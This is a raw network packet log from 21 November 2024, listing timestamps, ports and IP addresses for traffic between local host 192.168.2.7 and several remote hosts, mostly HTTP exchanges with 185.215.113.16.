Nov 21, 2024 22:05:07.983774900 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.983784914 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.983823061 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.983880997 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.984517097 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.984579086 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.984580040 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.984620094 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.984631062 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.984673977 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.985183954 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.985244036 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:07.985260010 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:07.985306025 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.036833048 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.037194014 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.037220001 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.037585020 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.037926912 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.037998915 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.038105965 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.038186073 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.038220882 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.038624048 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.038656950 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.102605104 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.102694988 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.102758884 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.106910944 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.106981993 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.109312057 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.109400988 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.109401941 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.109441042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.185409069 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.185492039 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.185764074 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.185817003 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.189677000 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.189726114 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.189784050 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.189857960 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.198071003 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.198139906 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.198215008 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.198260069 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.206341982 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.206413984 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.206456900 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.206502914 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.214832067 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.214916945 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.214998007 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.215065956 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.223216057 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.223304987 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.223376036 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.223597050 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.231683016 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.231758118 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.231794119 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.231842041 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.240052938 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.240120888 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.240144014 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.240187883 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.248692036 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.248732090 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.248755932 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.248775005 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.256326914 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.256386042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.256477118 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.256694078 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.272735119 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.272802114 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.356136084 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.356215954 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.356219053 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.356257915 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.360100985 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.360176086 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.386799097 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.386822939 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.386862993 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.386889935 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.389302015 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.389357090 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.389360905 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.389453888 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.394433975 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.394503117 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.394553900 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.394608974 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.399473906 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.399600983 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.399627924 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.399646044 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.404498100 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.404519081 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.404557943 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.404587030 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.409619093 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.409729958 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.409744024 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.409778118 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.414664030 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.414726019 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.414768934 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.414819002 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.419663906 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.419765949 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.419823885 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.419934034 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.424767971 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.424823999 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.424865007 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.424930096 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.429805040 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.429862976 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.429898977 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.429941893 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.434993029 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.435092926 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.435097933 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.435148954 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.439924955 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.439995050 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.440001011 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.440047026 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.445028067 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.445101976 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.445158005 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.445230961 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.450084925 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.450105906 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.450155020 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.450155020 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.455116987 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.455193043 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.455214977 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.455245972 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.460340977 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.460407972 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.460520983 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.460649014 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.465392113 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.465517044 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.465563059 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.465563059 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.470326900 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.470411062 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.470485926 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.475353956 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.475435972 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.475521088 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.475619078 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.480531931 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.480544090 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.480606079 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.485598087 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.485671997 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.497596979 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:05:08.497679949 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:05:08.497757912 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:05:08.547385931 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:05:08.547454119 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:05:08.547506094 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:05:08.556364059 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.556474924 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.556495905 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.556555033 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.558783054 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.558865070 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.558907986 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.558962107 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.563504934 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.563549042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.588155985 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.588233948 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.588253975 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.588287115 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.590058088 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.590183973 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.590190887 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.590270042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.591309071 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.591403008 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.591470003 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.591936111 CET	49951	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.591958046 CET	443	49951	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.593827009 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.593911886 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.593939066 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.594003916 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.597686052 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.597737074 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.597803116 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.598202944 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.601492882 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.601536989 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.601561069 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.601586103 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.605129004 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.605190992 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.605196953 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.605249882 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.608752012 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.608814955 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.608836889 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.608882904 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.612252951 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.612365007 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.612611055 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.612728119 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.615803957 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.615861893 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.615874052 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.615972042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.618074894 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.618149042 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.618194103 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.618339062 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.620126009 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.620215893 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.620254040 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.620382071 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.622262955 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.622327089 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.622358084 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.622394085 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.624413013 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.624485016 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.624504089 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.624550104 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.626605988 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.626668930 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.626774073 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.626836061 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.628783941 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.628798962 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.628870964 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.630881071 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.630947113 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.631114006 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.631189108 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.633053064 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.633100986 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.633147001 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.633255005 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.635260105 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.635319948 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.635356903 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.635488033 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.637485027 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.637505054 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.637535095 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.637566090 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.638323069 CET	443	49954	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:08.639528990 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.639648914 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.639672041 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.639805079 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.639950991 CET	49954	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:08.639978886 CET	443	49954	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:08.640676975 CET	49954	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:08.640681028 CET	443	49954	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:08.640729904 CET	49954	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:05:08.640738964 CET	443	49954	20.190.177.23	192.168.2.7
Nov 21, 2024 22:05:08.641693115 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.641758919 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.641794920 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.641875029 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.643881083 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.643953085 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.643985033 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.644058943 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.646009922 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.646053076 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.646120071 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.646192074 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.648196936 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.648207903 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.648272991 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.648272991 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.650322914 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.650438070 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.650445938 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.650509119 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.652574062 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.652622938 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.652666092 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.652738094 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.654685974 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.654768944 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.654772997 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.654830933 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.656889915 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.656954050 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.657016039 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.658999920 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.659080982 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.659111023 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.659152985 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.661123037 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.661263943 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.661329031 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.663352966 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.663418055 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.663434982 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.663490057 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.665535927 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.665607929 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.665646076 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.665697098 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.667623043 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.667663097 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.667714119 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.667840958 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.669837952 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.669903994 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.670146942 CET	80	49953	185.215.113.16	192.168.2.7
Nov 21, 2024 22:05:08.670202971 CET	49953	80	192.168.2.7	185.215.113.16
Nov 21, 2024 22:05:08.680349112 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.680434942 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.680515051 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.681076050 CET	49952	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.681086063 CET	443	49952	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.687819958 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.688044071 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.688066006 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.689080954 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.689146042 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.689455986 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.689600945 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.689606905 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.689651966 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.689671040 CET	49955	443	192.168.2.7	104.208.16.90
Nov 21, 2024 22:05:08.689816952 CET	443	49955	104.208.16.90	192.168.2.7
Nov 21, 2024 22:05:08.692562103 CET	443	49956	13.107.246.63	192.168.2.7
